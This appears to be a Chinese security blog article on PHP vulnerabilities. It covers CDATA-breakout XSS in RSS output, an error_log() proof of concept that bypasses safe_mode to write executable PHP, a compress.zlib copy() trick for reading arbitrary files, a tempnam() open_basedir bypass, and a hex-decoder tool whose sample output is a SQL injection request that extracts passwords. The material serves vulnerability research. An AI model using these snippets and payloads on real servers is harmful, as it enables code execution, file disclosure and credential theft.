|
|

如今基于PHP的WEB程序是越来越安全了,php.ini默认时的 magic_quotes_gpc=on就在初始安全性上提高了一个档次.很多程序在接受到用户的输入时都会提前判断一下 get_magic_quotes_gpc() 即使这个开关没有开就马上addslashes()函数跟上进行转义,所以想在PHP程序中找到一个类似与以前ASP注入那样的漏洞是比较不容易的.
对于PHP的跨站其实也很好防范,用 htmlentities() 就可以了,不过当处理XML文件时采用这个函数可能会出现些问题,只需手工转换下那5个元字符就可以了。举个例子,以前写过篇文章关于XML文件隐患的,其实就是CDATA部件的问题,现在比较流行的说法是AJAX hacking,大概说下,看看以下代码:
if ($rssid == 0 OR $rssid == 7) {
} elseif (!empty($stmt)) {
$dbinfo =& $db->getResultSet($stmt, array('pageSize'=>$pagesize));
if ($dbinfo === false) {
$msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
$TPL_items .= <<<EOT
<item>
<title>{$msginfo}</title>
<link>{$fsetting['forumurl']}</link>
<author>{$fsetting['forumname']}</author>
<pubDate>{$datenow}</pubDate>
<description><![CDATA[{$msginfo}]]></description>
</item>
EOT;
$msginfo是用户提交的,然后被程序写进RSS里以用来聚合,如果$msginfo的值为<sciript>alert('loveshell')</script>时,RSS聚合解析后会原样输出,如果为]]><sciript>alert('loveshell')</script>时,就可以跨站了,看看他的过滤:
if ($dbinfo === false) {
$msginfo = str_replace(']]>', ']]>', $lang['tpl.str0']);
很好意识到了这点,可是这句呢<title>{$msginfo}</title>,意识到问题所在很关键,重要的是要理解问题.
可是还是有很多会被程序员疏忽的地方,这是安全意识的问题,对于用户的任何输入,在写程序时脑子里都要提前做个思考:用户的输入是什么类型的?用户会有哪些输入方式?怎么处理用户的错误和非常规输入?
PHP的安全还体现在Safe Mode 和openbase-dir上.即使这样基于PHP底层的一些漏洞还是会直接影响到这两个非常重要的安全选项.举个例子:
比如error_log() Safe Mode Bypass
看他的语法:bool error_log ( string message [, int message_type [, string destination [, string extra_headers]]] )
输出错误信息到一个文件,可以这样写
<?
error_log("<? phpinfo();?>", 3, "test.php");
?>
运行在safe_mode关闭的情况下,直接访问test.php就可以看到phpinfo了,当safe_mode开的时候就会报错,再这样写:
<?
error_log("<? phpinfo();?>", 3, "prefix://../../test.php");
?>可以看到phpinfo又被执行了
看下漏洞代码:
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)
{
php_stream *stream = NULL;
switch (opt_err) {
case 1: /*send an email */
{
#if HAVE_SENDMAIL
if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
return FAILURE;
}
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
return FAILURE;
}
break;
case 2: /*send to an address */
php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
return FAILURE;
break;
case 3: /*save to a file */
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
if (!stream)
return FAILURE;
php_stream_write(stream, message, strlen(message));
php_stream_close(stream);
break;
default:
php_log_err(message TSRMLS_CC);
break;
}
return SUCCESS;
}
可以看到error_log函数的核心就是 php_stream_open_wrapper()函数,问题也就出在保存错误信息的文件这一步,看下这个函数的语法:
php_stream * php_stream_open_wrapper ( char * path, char * mode, int options, char ** opened )
php_stream_open_wrapper() opens a stream on the file, URL or other wrapped resource specified by path.
r
Open text file for reading. The stream is positioned at the beginning of the file.
r+
Open text file for reading and writing. The stream is positioned at the beginning of the file.
w
Truncate the file to zero length or create text file for writing. The stream is positioned at the beginning of the file.
w+
Open text file for reading and writing. The file is created if it does not exist, otherwise it is truncated. The stream is positioned at the beginning of the file.
a
Open for writing. The file is created if it does not exist. The stream is positioned at the end of the file.
a+
Open text file for reading and writing. The file is created if it does not exist. The stream is positioned at the end of the file.
error_log函数里定义了a选项,就是检查当保存错误信息文件不存在时创建一个,到这都没问题,关键是后面:
IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS
如果定义了一个IGNORE_URL那么将关闭后面的SAFE_MODE 开关,这样如果把错误信息写成代码,后面加上如prefix://../../的URL,则代码被写入到一个PHP文件时就已经绕过了SAFE_MODE 的限制,再访问保存错误信息的文件则代码被顺利无限制的执行了.
归根结底漏洞产生于php_stream_open_wrapper()函数,然后被嵌套调用了.
还有一个以前的的copy函数bypass漏洞
$temp=tempnam($tymczas, "cx");
if(copy("compress.zlib://".$file, $temp)){
$handle = fopen($temp, "r");
$tekst = fread($handle, filesize($temp));
fclose($handle);
通过这样一段利用代码再指定一个$file就可以绕过安全模式读取任何文件了
漏洞的存在都是互相映射的,应用层的漏洞在底层也会出现,就象上面这些逻辑类的,那应用层最容易疏忽的过滤不严的漏洞在底层会出现吗?当然!看看tempnam()函数中的一段核心代码:
if (ZEND_NUM_ARGS() != 2 || zend_get_parameters_ex(2, &arg1, &arg2) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(arg1);
convert_to_string_ex(arg2);
if (php_check_open_basedir(Z_STRVAL_PP(arg1) TSRMLS_CC)) {
RETURN_FALSE;
}
d = estrndup(Z_STRVAL_PP(arg1), Z_STRLEN_PP(arg1));
strlcpy(p, Z_STRVAL_PP(arg2), sizeof(p));
开始的函数原型给出了,第1个参数是指定生成临时文件的目录,第2个参数是生成临时文件的前缀.开始是对两个参数类型的检查及定义,然后对参数做限制,问题就出在红色代码处这个函数:php_check_open_basedir()是用来检查参数完整性并检查接受到的目录参数是否在open-basedir内,也就是按说我们对tempnam()传递参数后是不能在这个参数之外的目录生成临时文件了,可是居然函数只限制了arg1,没有过滤arg2,这样一来前面的限制就不会起作用了,然后后面就把arg2的参数附加给arg1了.接着就导致可以绕过openbase_dir的限制写文件了.
应了那句老话,任何地方都没有绝对的安全.在应用层安全系数越来越高的时候,关注底层,利用底层的一些缺陷可以更有利于做WEB应用层的漏洞挖掘.
另外PHP的安全也体现在做一些安全方面的工作,这点得益与PHP强大的功能,比如用做协议解析
<?
function hex2dec($hex)
{
$v=Ord($hex);
if(47<$v&&$v<58)
return $v-48;
if(64<$v&&$v<71)
return $v-65+10;
if(96<$v&&$v<103)
return $v-97+10;
}
function hex2str($str)
{
if(!$str)
return false;
$code="";
for($i=0;$i<strlen($str);$i+=2)
{
$code.=chr(hex2dec(substr($str,$i,1))*16+hex2dec(substr($str,$i+1,1)));
}
return $code;
}
if (empty($_POST['str'])) {
echo"/*\n";
echo "Please input Hex string!";
echo"\n";
echo"*/\n";
}else{
$str=$_POST['str'];
$result=hex2str($str);
echo "Decoder:";
echo"\n";
echo htmlspecialchars(stripslashes($result));
$newresult=str_replace(" ","0x20",$result);
$a=explode('0x20', $newresult, 3);
echo "***************************************************";
echo"\n";
echo "Method:";
echo htmlspecialchars(stripslashes($a[0]));
echo"\n\n";
echo "URL:";
echo htmlspecialchars(stripslashes($a[1]));
echo"\n\n";
echo htmlspecialchars(stripslashes($a[2]));
echo "***************************************************";
}
?>
提交sniffer到的16进制数据like this:
504F5354202F6566696374696F6E2F76696577757365722E7068703F7569643D27554E494F4E25323053454C454354253230302C302C302C302C302C302C302C302C302C302C70617373776F72642C302C302C302C3025323046524F4D25323066616E66696374696F6E5F617574686F72732532302F2A7320485454502F312E300D0A0D0A
转换后likethis:
***************************************************
Method:POST
URL:/efiction/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*s
HTTP/1.0
代码很简单,可功能很实用,如果需要可以写端口扫描,fuzzer,甚至google hacking工具等,只要你能想到:) |
|